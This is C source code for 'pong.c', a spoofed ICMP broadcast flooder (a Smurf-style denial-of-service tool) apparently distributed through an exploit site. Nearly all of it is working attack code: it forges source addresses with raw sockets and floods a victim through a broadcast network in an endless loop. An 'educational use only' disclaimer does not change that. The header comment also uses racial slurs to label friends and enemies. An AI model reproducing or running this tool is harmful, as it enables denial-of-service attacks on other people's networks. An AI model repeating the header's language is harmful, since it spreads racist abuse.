/* http://www.anticode.com  for the latest exploits, tools and documents! */

/*
 * pong.c - by FA-Q
 * spoofed icmp broadcast flooder
 *
 * niggaz:     #virii, #innuendo, zakath (for echok.c (where I got 99% of this code))
 *             panasync (for the best irc client made).
 *
 * niggers:    drow, ducktape (for leaving sexual messages on my answering machine), 
 *             gridnet (for killing my account when I was testing this program),
 *             [watchy] i want to be under niggers. 
 *
 * disclaimer: this is for educational use only. please don't abuse this. also, do not
 *   	       ask me how to use this.
 *
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h>

#define IPHDRSIZE sizeof(struct iphdr)
#define ICMPHDRSIZE sizeof(struct icmphdr)
#define VIRGIN "1.1"

void version(void)   {
	printf("pong %s - by FA-Q\n", VIRGIN);
        }
	
void usage(const char *progname)
     {
	printf("usage: %s [-fV] [-c count] [-i wait] [-s packetsize] <target> <broadcast>\n",progname);
       	}

unsigned char *dest_name;
unsigned char *spoof_name = NULL;
struct sockaddr_in destaddr, spoofaddr;
unsigned long dest_addr;
unsigned long spoof_addr;
unsigned      pingsize, pingsleep, pingnmbr;
char          flood = 0;


unsigned short in_cksum(addr, len)
    u_short *addr;
    int len;
{
    register int nleft = len;
    register u_short *w = addr;
    register int sum = 0;
    u_short answer = 0;
 
    while (nleft > 1)  {
        sum += *w++;
        nleft -= 2;
    }
 
    if (nleft == 1) {
        *(u_char *)(&answer) = *(u_char *)w ;
        sum += answer;
    }
 

    sum = (sum >> 16) + (sum & 0xffff); 
    sum += (sum >> 16);
    answer = ~sum;
    return(answer);
}

int resolve( const char *name, struct sockaddr_in *addr, int port )
     {
	struct hostent *host;
	bzero((char *)addr,sizeof(struct sockaddr_in));

	if (( host = gethostbyname(name) ) == NULL )  {
	   fprintf(stderr,"%s will not resolve\n",name);
	   perror(""); return -1;
	}
	 
	addr->sin_family = host->h_addrtype;
	memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length);
	addr->sin_port = htons(port);
     
        return 0;
     }

unsigned long addr_to_ulong(struct sockaddr_in *addr)
     {
	return addr->sin_addr.s_addr;
     }


int resolve_one(const char *name, unsigned long *addr, const char *desc)
     {
        struct sockaddr_in tempaddr;
	if (resolve(name, &tempaddr,0) == -1) {
	   printf("%s will not resolve\n",desc);
	   return -1;
	}
            
	*addr = tempaddr.sin_addr.s_addr;
       	return 0;
     }

int resolve_all(const char *dest,
		const char *spoof)
     {
        if (resolve_one(dest,&dest_addr,"dest address")) return -1;
	if (spoof!=NULL) 
	  if (resolve_one(spoof,&spoof_addr,"spoof address")) return -1;
	
	spoofaddr.sin_addr.s_addr = spoof_addr;
        spoofaddr.sin_family = AF_INET;
	destaddr.sin_addr.s_addr = dest_addr;
	destaddr.sin_family      = AF_INET;
     }
	
void give_info(void)
     {
       printf("\nattacking (%s) from (%s)\n",inet_ntoa(spoof_addr),dest_name);
     }

int parse_args(int argc, char *argv[]) 
     {
        int opt;
	
	char *endptr;
	
	while ((opt=getopt(argc, argv, "fc:s:i:V")) != -1)  {
	   switch(opt)  {
	      case 'f': flood = 1; break;
	      case 'c': pingnmbr = strtoul(optarg,&endptr,10);
	                if (*endptr != '\0')  {
		           printf("%s is an invalid number '%s'.\n", argv[0], optarg);
			   return -1;
	           	}
		        break;
	      case 's': pingsize = strtoul(optarg,&endptr,10);
	                if (*endptr != '\0')  {
		           printf("%s is a bad packet size '%s'\n", argv[0], optarg);
		           return -1;
	           	}
		        break;
	      case 'i': pingsleep = strtoul(optarg,&endptr,10);
	                if (*endptr != '\0')  {
		           printf("%s is a bad wait time '%s'\n", argv[0], optarg);
		           return -1;
	           	}
		        break;
	      case 'V': version(); break;
	      case '?':
	      case ':': return -1; break;
	   }
	  
	}
	    
	if (optind > argc-2)  {
	   return -1;
	}
        
        if (!pingsize)
          pingsize = 28;
        else
          pingsize = pingsize - 36 ;

        if (!pingsleep)
          pingsleep = 100;

	spoof_name = argv[optind++];
	dest_name = argv[optind++];
	
    	return 0; 		      	
     }

 inline int icmp_echo_send(int                socket, 
 			   unsigned long      spoof_addr,
			   unsigned long      t_addr,
			   unsigned           pingsize)
     {
	unsigned char packet[5122];
	struct iphdr   *ip;
	struct icmphdr *icmp;
	struct iphdr   *origip;
        unsigned char  *data;

        int i;
	
	ip = (struct iphdr *)packet;
	icmp = (struct icmphdr *)(packet+IPHDRSIZE);
	origip = (struct iphdr *)(packet+IPHDRSIZE+ICMPHDRSIZE);
	data = (char *)(packet+pingsize+IPHDRSIZE+IPHDRSIZE+ICMPHDRSIZE);
	
	memset(packet, 0, 5122);
	
	ip->version  = 4;
	ip->ihl      = 5; 
	ip->ttl      = 255-random()%15;
	ip->protocol = IPPROTO_ICMP;
	ip->tot_len  = htons(pingsize + IPHDRSIZE + ICMPHDRSIZE + IPHDRSIZE + 8);
	
        bcopy((char *)&destaddr.sin_addr, &ip->daddr, sizeof(ip->daddr));
        bcopy((char *)&spoofaddr.sin_addr, &ip->saddr, sizeof(ip->saddr)); 

	ip->check    = in_cksum(packet,IPHDRSIZE);
	
	origip->version  = 4;
	origip->ihl      = 5;
	origip->ttl      = ip->ttl - random()%15;
	origip->protocol = IPPROTO_TCP; 
	origip->tot_len  = IPHDRSIZE + 30; 
	origip->id       = random()%69;
	
        bcopy((char *)&destaddr.sin_addr, &origip->saddr, sizeof(origip->saddr));

       	origip->check = in_cksum(origip,IPHDRSIZE);
	
	*((unsigned int *)data)          = htons(pingsize);

	icmp->type = 8; /* why should this be 3? */
	icmp->code = 0;
	
	icmp->checksum = in_cksum(icmp,pingsize+ICMPHDRSIZE+IPHDRSIZE+8);

	return sendto(socket,packet,pingsize+IPHDRSIZE+ICMPHDRSIZE+IPHDRSIZE+8,0,
		      (struct sockaddr *)&destaddr,sizeof(struct sockaddr)); 
	

     }

void main(int argc, char *argv[])
     {
        int s, i;
        int floodloop;
        
	if (parse_args(argc,argv)) 
	  {  
	     usage(argv[0]); 
	     return;
	  }
	
	resolve_all(dest_name, spoof_name);
	give_info();
       	
       	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	
        if (!flood)
	  {
	     if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1)
	     {
	        printf("%s error sending packet\n",argv[0]); perror(""); return;
	     }
	  }
	else
	  {
             floodloop = 0;
             if ( pingnmbr && (pingnmbr > 0) )
             {
               printf("sending... packet limit set\n");
               for (i=0;i<pingnmbr;i++)
	       {
		 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
	         {
		    printf("%s error sending packet\n",argv[0]); perror(""); return; 
	         }
	 	 usleep((pingsleep*1000));       	      

	         if (!(floodloop = (floodloop+1)%25)) 
		  { fprintf(stdout,"."); fflush(stdout); 
	         }
		
 	       }
               printf("\ncomplete, %u packets sent\n", pingnmbr);
             }
             else {
               printf("flooding, (. == 25 packets)\n");
               for (i=0;i<1;i)
	       {
		 if (icmp_echo_send(s,spoof_addr,dest_addr,pingsize) == -1) 
	         {
		    printf("%s error sending packet\n",argv[0]); perror(""); return; 
	         }
	 	 usleep(900);       	      

	         if (!(floodloop = (floodloop+1)%25)) 
		  { fprintf(stdout,"."); fflush(stdout); 
	         }
		
 	       }
             }

	  }
     }